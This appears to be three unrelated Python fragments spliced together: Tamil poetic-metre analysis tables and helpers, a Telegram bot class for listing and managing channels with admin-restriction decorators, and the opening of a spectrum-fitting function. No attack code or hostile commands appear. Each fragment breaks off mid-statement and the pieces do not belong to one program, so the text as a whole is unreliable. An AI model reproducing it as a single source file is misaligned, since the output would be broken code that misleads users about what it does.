VADA_EZHUTHUKKAL= ("ஜ","ஜா","ஜி","ஜீ","ஜூ","ஜு","ஜெ","ஜே","ஜை","ஜொ","ஜோ","ஜௌ","ஜ்","ஷ","ஷா","ஷி","ஷீ","ஷூ","ஷு","ஷெ","ஷே","ஷை","ஷொ","ஷோ","ஷௌ","ஷ்","ஸ","ஸா","ஸி","ஸீ","ஸூ","ஸு","ஸெ","ஸே","ஸை","ஸொ","ஸோ","ஸௌ","ஸ்","ஹ","ஹா","ஹி","ஹீ","ஹூ","ஹு","ஹெ","ஹே","ஹை","ஹொ","ஹோ","ஹௌ","ஹ்","க்ஷ","க்ஷா","க்ஷி","க்ஷீ","க்ஷூ","க்ஷு","க்ஷெ","க்ஷே","க்ஷை","க்ஷொ","க்ஷோ","க்ஷௌ","க்ஷ்",)
MONAI_EDHUGAI_1= ("அ", "ஆ", "ஐ", "ஔ","க","கா","கை","கௌ","ங","ஙா","ஙை","ஙௌ","ச",
"சா","சை","சௌ","ஞ","ஞா","ஞை","ஞௌ","ட","டா","டை","டௌ","ண","ணா","ணை","ணௌ","த","தா","தை","தௌ",
"ந","நா","நை","நௌ","ன","னா","னை","னௌ","ப","பா","பை","பௌ","ம","மா","மை","மௌ","ய","யா","யை","யௌ",
"ர","ரா","ரை","ரௌ","ற","றா","றை","றௌ","ல","லா","லை","லௌ","ள","ளா","ளை","ளௌ","ழ","ழா","ழை","ழௌ",
"வ","வா","வை","வௌ","ஜ","ஜா","ஜை","ஜௌ","ஷ","ஷா","ஷை","ஷௌ","ஸ","ஸா","ஸை","ஸௌ",
"ஹ","ஹா","ஹை","ஹௌ","க்ஷ","க்ஷா","க்ஷை","க்ஷௌ",)
MONAI_EDHUGAI_2= ("இ", "ஈ", "எ", "ஏ","கி","கீ","கெ","கே","ஙி","ஙீ","ஙெ","ஙே","சி","சீ","செ","சே","ஞி",
"ஞீ","ஞெ","ஞே","டி","டீ","டெ","டே","ணி","ணீ","ணெ","ணே","தி","தீ","தெ","தே","நி","நீ","நெ","நே","னி","னீ","னெ","னே",
"பி","பீ","பெ","பே","மி","மீ","மெ","மே","யி","யீ","யெ","யே","ரி","ரீ","ரெ","ரே","றி","றீ","றெ","றே","லி","லீ","லெ","லே",
"ளி","ளீ","ளெ","ளே","ழி","ழீ","ழெ","ழே","வி","வீ","வெ","வே","ஜி","ஜீ","ஜெ","ஜே","ஷி","ஷீ","ஷெ","ஷே",
"ஸி","ஸீ","ஸெ","ஸே","ஹி","ஹீ","ஹெ","ஹே","க்ஷி","க்ஷீ","க்ஷெ","க்ஷே",)
MONAI_EDHUGAI_3= ("உ", "ஊ", "ஒ", "ஓ","கு","கூ","கொ","கோ","ஙு","ஙூ","ஙொ","ஙோ","சு","சூ","சொ","சோ","ஞு",
"ஞூ","ஞொ","ஞோ","டு","டூ","டொ","டோ","ணு","ணூ","ணொ","ணோ","து","தூ","தொ","தோ","நு","நூ","நொ","நோ",
"னு","னூ","னொ","னோ","பு","பூ","பொ","போ","மு","மூ","மொ","மோ","யு","யூ","யொ","யோ","ரு","ரூ","ரொ","ரோ","று","றூ","றொ","றோ",
"லு","லூ","லொ","லோ","ளு","ளூ","ளொ","ளோ","ழு","ழூ","ழொ","ழோ","வு","வூ","வொ","வோ","ஜூ","ஜு","ஜொ","ஜோ",
"ஷூ","ஷு","ஷொ","ஷோ","ஸூ","ஸு","ஸொ","ஸோ","ஹூ","ஹு","ஹொ","ஹோ","க்ஷூ","க்ஷு","க்ஷொ","க்ஷோ",)
MONAI_EDHUGAI_4 = ("ச","சா","சை","சௌ","த","தா","தை","தௌ","ஞ","ஞா","ஞை","ஞௌ","ந","நா","நை","நௌ","ம","மா","மை","மௌ","வ","வா","வை","வௌ")
MONAI_EDHUGAI_5 = ("சி","சீ","செ","சே","தி","தீ","தெ","தே","ஞி","ஞீ","ஞெ","ஞே","நி","நீ","நெ","நே",
"மி","மீ","மெ","மே","வி","வீ","வெ","வே")
MONAI_EDHUGAI_6= ("சு","சூ","சொ","சோ","து","தூ","தொ","தோ","ஞு","ஞூ","ஞொ","ஞோ","நு","நூ","நொ","நோ", "மு","மூ","மொ","மோ","வு","வூ","வொ","வோ")
SIRAPPU_KURIYEEDUGAL =("","ா","ி","ீ","ு","ூ","ெ","ே","ை","ொ","ோ","ௌ","்",)
YIYAIBU_ENDING_LETTERS =("ா","ி","ீ","ு","ூ","ெ","ே","ை","ொ","ோ","ௌ")
VENPA_ALLOWED_SEERS = ("தேமா", "புளிமா", "கூவிளம்", "கருவிளம்", "தேமாங்காய்", "புளிமாங்காய்", "கூவிளங்காய்", "கருவிளங்காய்", "காசு","மலர்","நாள்","பிறப்பு",)
VENPA_EETRU_SEERS = ("காசு","மலர்","நாள்","பிறப்பு",)
ASIRIYAPPA_ALLOWED_SEERS = ("தேமா", "புளிமா", "கூவிளம்", "கருவிளம்",)
ASIRIYAPPA_DISALLOWED_SEERS = ("கருவிளங்கனி","கூவிளங்கனி", )
ASIRIYAPPA_EETRUCHEER_LETTERS = ("ே","ோ","ீ","ை","ாய்",)
NILAIMANDILA_EETRUCHEER_LETTERS= ("னீ","னே","னை","னோ","ம்",)
KALIPPA_EETRUCHEER_LETTERS= ("ே",)
KALIPPA_ALLOWED_SEERS = ("தேமாங்காய்", "புளிமாங்காய்","கூவிளங்காய்", "கருவிளங்காய்",)
KALIPPA_DISALLOWED_SEERS = ("தேமா","புளிமா","கருவிளங்கனி","கூவிளங்கனி", )
VANJPA_ALLOWED_SEERS= ("தேமாங்காய்", "புளிமாங்காய்","கூவிளங்காய்", "கருவிளங்காய்","கருவிளங்கனி","கூவிளங்கனி",)
VANJPA_THANISOL_ALLOWED_SEERS = ("தேமா","புளிமா","கூவிளம்", "கருவிளம்", )
SANDHA_SEERGAL = ("மா", "விளம்", "காய்", "கனி", "பூ", "ணிழல்", 'நிழல்', 'நேர்','நிரை')
UYIR_MEY_LETTERS= ("க","கா","கி","கீ","கூ","கு","கெ","கே","கை","கொ","கோ","கௌ", "ங","ஙா","ஙி","ஙீ","ஙூ","ஙு","ஙெ","ஙே","ஙை","ஙொ","ஙோ","ஙௌ",
"ச","சா","சி","சீ","சூ","சு","செ","சே","சை","சொ","சோ","சௌ", "ஞ","ஞா","ஞி","ஞீ","ஞூ","ஞு","ஞெ","ஞே","ஞை","ஞொ","ஞோ","ஞௌ",
"ட","டா","டி","டீ","டூ","டு","டெ","டே","டை","டொ","டோ","டௌ", "ண","ணா","ணி","ணீ","ணூ","ணு","ணெ","ணே","ணை","ணொ","ணோ","ணௌ",
"த","தா","தி","தீ","தூ","து","தெ","தே","தை","தொ","தோ","தௌ", "ந","நா","நி","நீ","நூ","நு","நெ","நே","நை","நொ","நோ","நௌ",
"ன","னா","னி","னீ","னூ","னு","னெ","னே","னை","னொ","னோ","னௌ", "ப","பா","பி","பீ","பூ","பு","பெ","பே","பை","பொ","போ","பௌ",
"ம","மா","மி","மீ","மூ","மு","மெ","மே","மை","மொ","மோ","மௌ", "ய","யா","யி","யீ","யூ","யு","யெ","யே","யை","யொ","யோ","யௌ",
"ர","ரா","ரி","ரீ","ரூ","ரு","ரெ","ரே","ரை","ரொ","ரோ","ரௌ", "ற","றா","றி","றீ","றூ","று","றெ","றே","றை","றொ","றோ","றௌ",
"ல","லா","லி","லீ","லூ","லு","லெ","லே","லை","லொ","லோ","லௌ", "ள","ளா","ளி","ளீ","ளூ","ளு","ளெ","ளே","ளை","ளொ","ளோ","ளௌ",
"ழ","ழா","ழி","ழீ","ழூ","ழு","ழெ","ழே","ழை","ழொ","ழோ","ழௌ","வ","வா","வி","வீ","வூ","வு","வெ","வே","வை","வொ","வோ","வௌ",
"ஜ","ஜா","ஜி","ஜீ","ஜூ","ஜு","ஜெ","ஜே","ஜை","ஜொ","ஜோ","ஜௌ","ஷ","ஷா","ஷி","ஷீ","ஷூ","ஷு","ஷெ","ஷே","ஷை","ஷொ","ஷோ","ஷௌ",
"ஸ","ஸா","ஸி","ஸீ","ஸூ","ஸு","ஸெ","ஸே","ஸை","ஸொ","ஸோ","ஸௌ","ஹ","ஹா","ஹி","ஹீ","ஹூ","ஹு","ஹெ","ஹே","ஹை","ஹொ","ஹோ","ஹௌ",
"க்ஷ","க்ஷா","க்ஷி","க்ஷீ","க்ஷூ","க்ஷு","க்ஷெ","க்ஷே","க்ஷை","க்ஷொ","க்ஷோ","க்ஷௌ",)
ASAI_DICT = [{'N':'நேர்', 'K':'நேர்'},
{'NO':'நேர்', 'KO':'நேர்', 'KK':'நிரை', 'KN':'நிரை'},
{'NOO':'நேர்', 'KOO':'நேர்', 'KNO':'நிரை', 'KKO':'நிரை'},
{'KNOO':'நிரை', 'KKOO':'நிரை'}]
VIKARPAM_LIST = ['ஒரு விகற்ப', "இரு விகற்ப", "பல விகற்ப"]
ASAIGAL = ['நேர்','நிரை']
SEERGAL = ['தேமா',"புளிமா","கூவிளம்","கருவிளம்", "தேமாங்காய்", "தேமாங்கனி", "புளிமாங்காய்", "புளிமாங்கனி", "கருவிளங்காய்", "கருவிளங்கனி", \
"கூவிளங்காய்", "கூவிளங்கனி", "தேமாந்தண்பூ", "தேமாந்தண்ணிழல்", "தேமாநறும்பூ", "தேமாநறுநிழல்", "புளிமாந்தண்பூ", "புளிமாந்தண்ணிழல்", "புளிமாநறும்பூ", \
"புளிமாநறுநிழல்", "கூவிளந்தண்பூ", "கூவிளந்தண்ணிழல்", "கூவிளநறும்பூ", "கூவிளநறுநிழல்", "கருவிளந்தண்பூ", "கருவிளந்தண்ணிழல்", "கருவிளநறும்பூ", "கருவிளநறுநிழல்"
]
SEER_TYPES = [ {"நேர்":"நேர்", "நிரை":"நிரை"}, \
{"நேர் நேர்":"தேமா", "நிரை நேர்":"புளிமா", "நேர் நிரை":"கூவிளம்", "நிரை நிரை":"கருவிளம்"}, \
{"நேர் நேர் நேர்":"தேமாங்காய்", "நேர் நேர் நிரை":"தேமாங்கனி", "நிரை நேர் நேர்":"புளிமாங்காய்", "நிரை நேர் நிரை":"புளிமாங்கனி", \
"நிரை நிரை நேர்":"கருவிளங்காய்", "நிரை நிரை நிரை":"கருவிளங்கனி", "நேர் நிரை நேர்":"கூவிளங்காய்", "நேர் நிரை நிரை":"கூவிளங்கனி"
}, \
{"நேர் நேர் நேர் நேர்":"தேமாந்தண்பூ", "நேர் நேர் நேர் நிரை":"தேமாந்தண்ணிழல்", "நேர் நேர் நிரை நேர்":"தேமாநறும்பூ", "நேர் நேர் நிரை நிரை":"தேமாநறுநிழல்", \
"நிரை நேர் நேர் நேர்":"புளிமாந்தண்பூ", "நிரை நேர் நேர் நிரை":"புளிமாந்தண்ணிழல்", "நிரை நேர் நிரை நேர்":"புளிமாநறும்பூ", \
"நிரை நேர் நிரை நிரை":"புளிமாநறுநிழல்", "நேர் நிரை நேர் நேர்":"கூவிளந்தண்பூ", "நேர் நிரை நேர் நிரை":"கூவிளந்தண்ணிழல்", \
"நேர் நிரை நிரை நேர்":"கூவிளநறும்பூ", "நேர் நிரை நிரை நிரை":"கூவிளநறுநிழல்", "நிரை நிரை நேர் நேர்":"கருவிளந்தண்பூ", \
"நிரை நிரை நேர் நிரை":"கருவிளந்தண்ணிழல்", "நிரை நிரை நிரை நேர்":"கருவிளநறும்பூ", "நிரை நிரை நிரை நிரை":"கருவிளநறுநிழல்"
}
]
THALAI_TYPES = {"மா நேர்": "நேரொன்றிய ஆசிரியத்தளை",
"விளம் நிரை" : "நிரையொன்றிய ஆசிரியத்தளை",
"விளம் நேர்" : "இயற்சீர் வெண்டளை",
"மா நிரை" : "இயற்சீர் வெண்டளை",
"காய் நேர்" : "வெண்சீர் வெண்டளை",
"காய் நிரை" : "கலித்தளை",
"கனி நிரை" : "ஒன்றிய வஞ்சித்தளை",
"கனி நேர்" : "ஒன்றா வஞ்சித்தளை",
"பூ நேர்" : "வெண்சீர் வெண்டளை",
"பூ நிரை" : "கலித்தளை",
"நிழல் நேர்" : "ஒன்றா வஞ்சித்தளை",
"நிழல் நிரை" : "ஒன்றிய வஞ்சித்தளை",
"ணிழல் நேர்" : "ஒன்றா வஞ்சித்தளை",
"ணிழல் நிரை" : "ஒன்றிய வஞ்சித்தளை",
}
THALAI_TYPES_SHORT = {"மா நேர்": "ஆசிரியத்தளை",
"விளம் நிரை" : "ஆசிரியத்தளை",
"விளம் நேர்" : "வெண்டளை",
"மா நிரை" : "வெண்டளை",
"காய் நேர்" : "வெண்டளை",
"காய் நிரை" : "கலித்தளை",
"கனி நிரை" : "வஞ்சித்தளை",
"கனி நேர்" : "வஞ்சித்தளை",
"பூ நேர்" : "வெண்டளை",
"பூ நிரை" : "கலித்தளை",
"நிழல் நேர்" : "வஞ்சித்தளை",
"நிழல் நிரை" : "வஞ்சித்தளை",
"ணிழல் நேர்" : "வஞ்சித்தளை",
"ணிழல் நிரை" : "வஞ்சித்தளை",
}
OSAI_TYPES = {"நேரொன்றிய ஆசிரியத்தளை" : "ஏந்திசை அகவலோசை",
"நிரையொன்றிய ஆசிரியத்தளை" : "தூங்கிசை அகவலோசை",
"இயற்சீர் வெண்டளை" : "தூங்கிசைச் செப்பலோசை",
"வெண்சீர் வெண்டளை" : "ஏந்திசைச் செப்பலோசை",
"கலித்தளை" : "ஏந்திசைத் துள்ளலோசை",
"ஒன்றிய வஞ்சித்தளை" : "ஏந்திசைத் தூங்கலோசை",
"ஒன்றா வஞ்சித்தளை" : "அகவல் தூங்கலோசை",
}
OSAI_TYPES_SHORT = {"ஆசிரியத்தளை" : "அகவலோசை",
"வெண்டளை" : "செப்பலோசை",
"கலித்தளை" : "துள்ளலோசை",
"வஞ்சித்தளை" : "தூங்கலோசை",
}
LINE_TYPES = ('','தனிச்சொல்', 'குறளடி', 'சிந்தடி', 'அளவடி', 'நெடிலடி', 'கழி நெடிலடி', 'கழி நெடிலடி', 'கழி நெடிலடி', 'இடையாகு கழி நெடிலடி', 'இடையாகு கழி நெடிலடி', 'கடையாகு கழி நெடிலடி' )
THODAI_TYPES = ("மோனை", "எதுகை", "இயைபு")
SEER_THODAI_TYPES = {"":"", "1" : "","1-2" : "இணை", "1-3" : "பொழிப்பு", "1-4" : "ஒருஊ", "1-2-3" : "கூழை", "1-3-4" : "மேற்கதுவாய்", "1-2-4" : "கீழ்க்கதுவாய்", "1-2-3-4" : "முற்று"}
class POEM_TYPES(IntEnum):
VENPA = 1
ASIRIYAPA = 2
KALIPA = 3
VANJIPA = 4
VENPAVINAM = 5
ASIRIYAPAVINAM = 6
KALIPAVINAM = 7
VANJIPAVINAM = 8
POEM_CHECK_FUNCTIONS = {
POEM_TYPES.VENPA : 'check_for_venpaa',
POEM_TYPES.ASIRIYAPA : 'check_for_asiriyapaa',
POEM_TYPES.KALIPA : 'check_for_kalipaa',
POEM_TYPES.VANJIPA : 'check_for_vanjipaa',
POEM_TYPES.VENPAVINAM : 'check_for_venpaavinam',
POEM_TYPES.ASIRIYAPAVINAM : 'check_for_asiriyapaavinam',
POEM_TYPES.KALIPAVINAM : 'check_for_kalipaavinam',
POEM_TYPES.VANJIPAVINAM : 'check_for_vanjipaavinam'
}
" Check if string has key"
string_has_key = lambda a, d: any(k in a for k in d)
" Flatten a list of lists "
flatten_list = lambda list: [item for sublist in list for item in sublist]
def insert_string_at_index(string, insert_string, index):
if index == -1:
index = len(string)-1
if ' ' in string:
index = len(string)-2
result = ''.join(string[:index])+insert_string[0]+string[index]+insert_string[1]+''.join(string[index+1:])
return result
def get_index(list, element):
index = -1
try:
index = list.index(element)
except:
index = -1
return index
def get_keys_containing_string(dict, string):
return [value for key, value in dict.items() if key.lower() in string.lower()]
def get_last_morpheme(word):
if word.strip()=='':
return ''
last_char = word[-1]
if last_char == "்":
last_char = MEYGAL[TAMIL_UNICODE_1.index(word[-2])]
if (grammar.TamilChar(last_char).is_uyir_ezhuthu() or grammar.TamilChar(last_char).is_mey_ezhuthu()):
return last_char
index = get_index(TAMIL_UNICODE_2,last_char)
if (index == -1):
return "அ"
index = get_index(YIYAIBU_ENDING_LETTERS,last_char)
if index != -1:
return UYIRGAL[index+1]
return last_char
def get_first_morpheme(word):
if word.strip()=='':
return ''
first_char = word[0]
if (grammar.TamilChar(first_char).is_uyir_ezhuthu() or grammar.TamilChar(first_char).is_mey_ezhuthu()):
return first_char
index = get_index(TAMIL_UNICODE_1,first_char)
if (index != -1 ):
return MEYGAL[index]
index = get_index(YIYAIBU_ENDING_LETTERS,first_char)
if index != -1:
return UYIRGAL[index+1]
return first_char
def list_has_element(list,element):
return element in list
def string_has_unicode_character(word, character):
result = character in get_unicode_characters(word)
return result
def get_unicode_characters(word):
import regex
if (' ' in word):
return regex.findall('\p{L}\p{M}*|\p{Z}*',word)
else:
return regex.findall('\p{L}\p{M}*',word)
def get_matching_sublist(char,list,index):
" To get a subarray of size index at matching element "
try:
beg = int(list.index(char)/index)*index
end = beg + index
return list[beg:end]
except ValueError:
return []
def get_thodai_characters(thodai_char1, thodai_index=0):
thodai_characters = []
temp_list = []
if (thodai_index == 0):
temp_list = get_matching_sublist(thodai_char1,flatten_list([MONAI_EDHUGAI_1, MONAI_EDHUGAI_2, MONAI_EDHUGAI_3]),4)
if temp_list:
#print(thodai_char1,'found in monia1_2_3')
thodai_characters.append(temp_list)
temp_list = get_matching_sublist(thodai_char1,flatten_list([MONAI_EDHUGAI_4, MONAI_EDHUGAI_5, MONAI_EDHUGAI_6]),8)
if temp_list:
#print(thodai_char1,'found in monia4_5_6')
thodai_characters.append(temp_list)
elif (thodai_index == 1):
temp_list = get_matching_sublist(thodai_char1,VARUKKA_EDHUGAI,6)
if temp_list:
#print(thodai_char1,'found in varukka edhugai')
thodai_characters.append(temp_list)
temp_list = get_matching_sublist(thodai_char1,flatten_list([VALLINA_EDHUGAI, MELLINA_EDHUGAI, YIDAIYINA_EDHUGAI]),13)
if temp_list:
#print(thodai_char1,'found in yina edhugai')
thodai_characters.append(temp_list)
thodai_characters = flatten_list(thodai_characters)
#print(thodai_char1,' in? ',thodai_characters, '???')
return thodai_characters
def frequency_of_occurrence(words, specific_words=None):
"""
Returns a list of (instance, count) sorted in total order and then from most to least common
Along with the count/frequency of each of those words as a tuple
If specific_words list is present then SUM of frequencies of specific_words is returned
"""
freq = sorted(sorted(Counter(words).items(), key=itemgetter(0)), key=itemgetter(1), reverse=True)
if not specific_words or specific_words==None:
return freq
else:
frequencies = 0
for (inst, count) in freq:
if inst in specific_words:
frequencies += count
return float(frequencies)
def has_required_percentage_of_occurrence(words, specific_words=None,required_percent_of_occurrence=0.99):
actual_percent_of_occurrence = percentage_of_occurrence(words, specific_words=specific_words)
percent_check = actual_percent_of_occurrence >= | |
# -*- coding: UTF-8 -*-
# This file is part of the orbot package (https://github.com/officinerobotiche/orbot or http://www.officinerobotiche.it).
# Copyright (C) 2020, <NAME> <<EMAIL>>
# All rights reserved
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived
# from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
# CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
# BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
import json
from uuid import uuid4
import logging
from functools import wraps
from telegram.ext import Updater, CommandHandler, CallbackQueryHandler, MessageHandler, Filters, ConversationHandler, InlineQueryHandler
from telegram import InlineKeyboardButton, InlineKeyboardMarkup, Bot, TelegramError
from telegram import InlineQueryResultArticle, ParseMode, InputTextMessageContent, InlineQueryResultCachedPhoto, InlineQueryResultPhoto
from telegram.utils.helpers import escape_markdown
from telegram.error import BadRequest
# Menu
from .utils import build_menu, check_key_id, isAdmin, filter_channel, save_config, notify_group
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)
def restricted(func):
@wraps(func)
def wrapped(self, update, context):
if self.isRestricted(update, context):
logger.info(f"Unauthorized access denied for {update.effective_user.id}.")
context.bot.send_message(chat_id=update.effective_chat.id, text="Unauthorized access denied.")
return
return func(self, update, context)
return wrapped
def rtype(rtype):
def group(func):
@wraps(func)
def wrapped(self, update, context):
type_chat = self.isAllowed(update, context)
if [value for value in rtype if value in type_chat]:
return func(self, update, context)
logger.info(f"Unauthorized access denied for {update.effective_chat.type}.")
context.bot.send_message(chat_id=update.effective_chat.id, text="Unauthorized access denied.")
return
return wrapped
return group
def register(func):
@wraps(func)
def wrapped(self, update, context):
# Register group
self.register_chat(update, context)
return func(self, update, context)
return wrapped
class Channels:
TYPE = {"-10": {'name': "Administration", 'icon': '🔐'},
"-1": {'name': "Hidden", 'icon': '🕶'},
"0": {'name': "Private"},
"10": {'name': "Public", 'icon': '💬'}
}
def __init__(self, updater, settings, settings_file):
self.updater = updater
self.settings_file = settings_file
self.settings = settings
# Initialize channels if empty
if 'channels' not in self.settings:
self.settings['channels'] = {}
# Extract list of admins
telegram = self.settings['telegram']
self.LIST_OF_ADMINS = telegram['admins']
# Allow chats
self.groups = []
# Get the dispatcher to register handlers
dp = self.updater.dispatcher
#Setup handlers
dp.add_handler(CommandHandler("channels", self.cmd_channels))
dp.add_handler(CommandHandler("settings", self.ch_list))
dp.add_handler(CallbackQueryHandler(self.ch_edit, pattern='CH_EDIT'))
dp.add_handler(CallbackQueryHandler(self.ch_type, pattern='CH_TYPE'))
dp.add_handler(CallbackQueryHandler(self.ch_admin, pattern='CH_ADMIN'))
dp.add_handler(CallbackQueryHandler(self.ch_save, pattern='CH_SAVE'))
dp.add_handler(CallbackQueryHandler(self.ch_remove, pattern='CH_REMOVE'))
dp.add_handler(CallbackQueryHandler(self.ch_notify, pattern='CH_NOTIFY'))
dp.add_handler(CallbackQueryHandler(self.ch_link, pattern='CH_LINK'))
dp.add_handler(CallbackQueryHandler(self.ch_beta, pattern='CH_BETA'))
dp.add_handler(CallbackQueryHandler(self.ch_recording, pattern='CH_REC'))
dp.add_handler(CallbackQueryHandler(self.ch_cancel, pattern='CH_CANCEL'))
# on noncommand i.e message - echo the message on Telegram
dp.add_handler(InlineQueryHandler(self.inlinequery))
# Check channels
for chat_id in list(self.settings['channels'].keys()):
try:
chat = self.updater.bot.getChat(chat_id)
logger.info(f"Load {chat_id} from list: {chat.title}")
except BadRequest:
del self.settings['channels'][chat_id]
logger.warning(f"This channel {chat_id} does not exist!")
notify_group(self.updater.bot, self.LIST_OF_ADMINS, f"This channel *{chat_id}* does not exist!")
def register_chat(self, update, context):
type_chat = update.effective_chat.type
chat_id = update.effective_chat.id
if type_chat in ['group', 'supergroup', 'channel']:
if chat_id not in self.groups and str(chat_id) not in self.settings['channels']:
self.groups += [chat_id]
def isRestricted(self, update, context):
if update.effective_user.id in self.LIST_OF_ADMINS:
return False
for chat_id in self.settings['channels']:
username = update.message.from_user.username
if self.settings['channels'][chat_id].get('admin', False):
if isAdmin(update, context, username, chat_id=int(chat_id)):
return False
return True
def isAdmin(self, update, context):
if update.effective_user.id in self.LIST_OF_ADMINS:
return True
for chat_id in self.settings['channels']:
username = update.message.from_user.username
if isAdmin(update, context, username, chat_id=int(chat_id)):
return True
return False
def isAllowed(self, update, context):
type_chat = []
chat = context.bot.getChat(update.effective_chat.id)
if chat.type == 'private':
type_chat += [chat.type]
if str(update.effective_chat.id) in self.settings['channels']:
type_chat += ['channel']
if self.settings['channels'][str(update.effective_chat.id)].get('admin', False):
type_chat += ['ch_admin']
if len(self.isMember(context, update.effective_user.id)) > 0:
type_chat += ['member']
return type_chat
def isMember(self, context, user_id):
chat_member = []
for chat_id in self.settings['channels']:
try:
chat = context.bot.get_chat_member(chat_id, user_id)
if chat.status not in ['left', 'kicked']:
chat_member +=[int(chat_id)]
except TelegramError:
pass
return chat_member
def getLevel(self, context, user_id):
level = 0
for chat_id in self.settings['channels']:
try:
_ = context.bot.get_chat_member(chat_id, int(user_id))
level_ch = int(self.settings['channels'][chat_id].get('type', "0"))
level = level_ch if level_ch <= level else level
except TelegramError:
pass
return level
def inlinequery(self, update, context):
"""Handle the inline query."""
query = update.inline_query.query
# extract level user
local_chat_id = str(update.effective_user.id)
local_level = self.getLevel(context, local_chat_id)
# Sort channels
channels = sorted(self.settings['channels'].items(), key=lambda kv:(context.bot.getChat(kv[0]).title, kv[1]))
# If there is a query filter the channels
if query:
filtered_dict = [(k,v) for (k,v) in channels if query.lower() in context.bot.getChat(k).title.lower()]
else:
filtered_dict = channels
# Minimum configuration level
min_level = int(self.settings['config'].get('inline', '-10'))
# Make articles list
articles = []
for chat_id, data in filtered_dict:
chat = context.bot.getChat(chat_id)
link = chat.invite_link
level = int(data.get('type', "0"))
# Update link
if isAdmin(update, context, context.bot.username, chat_id=chat_id):
# If None generate a link
if link is None:
link = context.bot.exportChatInviteLink(chat_id)
# Show only enable channels
if local_level <= level and level >= min_level and link is not None:
# Load icon type channel
icon_string = self.getIcons(context, chat_id)
# Check if this group can see other group with same level
button = [InlineKeyboardButton(icon_string + chat.title, url=link)]
# Does not work !!!
#if chat.photo:
# file_id = chat.photo.small_file_id
# newFile = context.bot.getFile(file_id)
# thumb_url = newFile.file_path
# articles += [InlineQueryResultCachedPhoto(id=uuid4(), title=chat.title, photo_file_id=file_id)
thumb_url = None
text = f"*{chat.title}*"
if chat.description:
text += f"\n{chat.description}"
# https://github.com/python-telegram-bot/python-telegram-bot/blob/master/telegram/inline/inlinequeryresultarticle.py
articles += [InlineQueryResultArticle(id=uuid4(), title=icon_string + chat.title,
input_message_content=InputTextMessageContent(text, parse_mode='Markdown'),
url=link,
thumb_url=thumb_url,
description=chat.description,
reply_markup=InlineKeyboardMarkup(build_menu(button, 1)))]
# Update inline query
update.inline_query.answer(articles, cache_time=10)
def getChannels(self, update, context):
buttons = []
local_chat_id = str(update.effective_chat.id)
if local_chat_id in self.settings['channels']:
local_chat = context.bot.getChat(local_chat_id)
local_level = int(self.settings['channels'][local_chat_id].get('type', "0"))
logger.debug(f"{local_chat.title} = {local_level}")
else:
local_level = self.getLevel(context, local_chat_id)
# Sort channels
channels = sorted(self.settings['channels'].items(), key=lambda kv:(context.bot.getChat(kv[0]).title, kv[1]))
for chat_id, data in channels:
chat = context.bot.getChat(chat_id)
name = chat.title
link = chat.invite_link
level = int(data.get('type', "0"))
if isAdmin(update, context, context.bot.username, chat_id=chat_id):
# If None generate a link
if link is None:
link = context.bot.exportChatInviteLink(chat_id)
# Make flag lang
# slang = flag(channel.get('lang', 'ita'))
is_admin = ' (Bot not Admin)' if not isAdmin(update, context, context.bot.username, chat_id=chat_id) else ''
# Load icon type channel
icon_string = self.getIcons(context, chat_id)
# Check if this group can see other group with same level
if local_level <= level and link is not None:
buttons += [InlineKeyboardButton(icon_string + name + is_admin, url=link)]
return InlineKeyboardMarkup(build_menu(buttons, 1))
@register
@filter_channel
@rtype(['channel', 'member'])
def cmd_channels(self, update, context):
""" List all channels availables """
reply_markup = self.getChannels(update, context)
message = "All channels available are:" if self.settings['channels'] else 'No channels available'
# Send message without reply in group
context.bot.send_message(chat_id=update.effective_chat.id, text=message, parse_mode='HTML', reply_markup=reply_markup)
def getIcons(self, context, chat_id):
chat = context.bot.getChat(chat_id)
level = self.settings['channels'][chat_id].get('type', "0")
admin = self.settings['channels'][chat_id].get('admin', False)
records = self.settings['channels'][chat_id].get('records', True)
beta = self.settings['channels'][chat_id].get('beta', False)
icons = []
icons = icons + ['📢'] if chat.type == 'channel' else icons
icon_type = Channels.TYPE[level].get('icon', '')
if chat.type != 'channel':
icons = icons + [icon_type] if icon_type else icons
icons = icons + ['👑'] if admin else icons
icons = icons + ['⛔️'] if not records else icons
icons = icons + ['🅱️'] if beta else icons
if icons:
return f"[" + ",".join(icons) + "] "
return ""
def get_channels_name(self, context):
bot = context.bot
# Sort channels
channels = sorted(self.settings['channels'].items(), key=lambda kv:(bot.getChat(kv[0]).title, kv[1]))
if not channels:
return "<b>No channels</b>"
text = "<b>Channels:</b>\n"
for chat_id, _ in channels:
chat = bot.getChat(chat_id)
# Load icon type channel
icon_string = self.getIcons(context, chat_id)
text += f" - {icon_string} {chat.title}\n" if icon_string else f" - {chat.title}\n"
if self.groups:
text += "<b>New groups:</b>\n"
for chat_id in self.groups:
chat = context.bot.getChat(chat_id)
isChannel = '[📢] ' if chat.type == 'channel' else ''
text += f" - {isChannel}{chat.title}\n"
return text
@filter_channel
@restricted
def | |
calc_od=[],
pre_process=True, prefit_shift=0.0, interp_method='cubic',
fit_window=None):
"""Fit the supplied spectrum.
Parameters
----------
spectrum : tuple
The measured spectrum in the form [wavelengths, intensities]
update_params : bool, optional
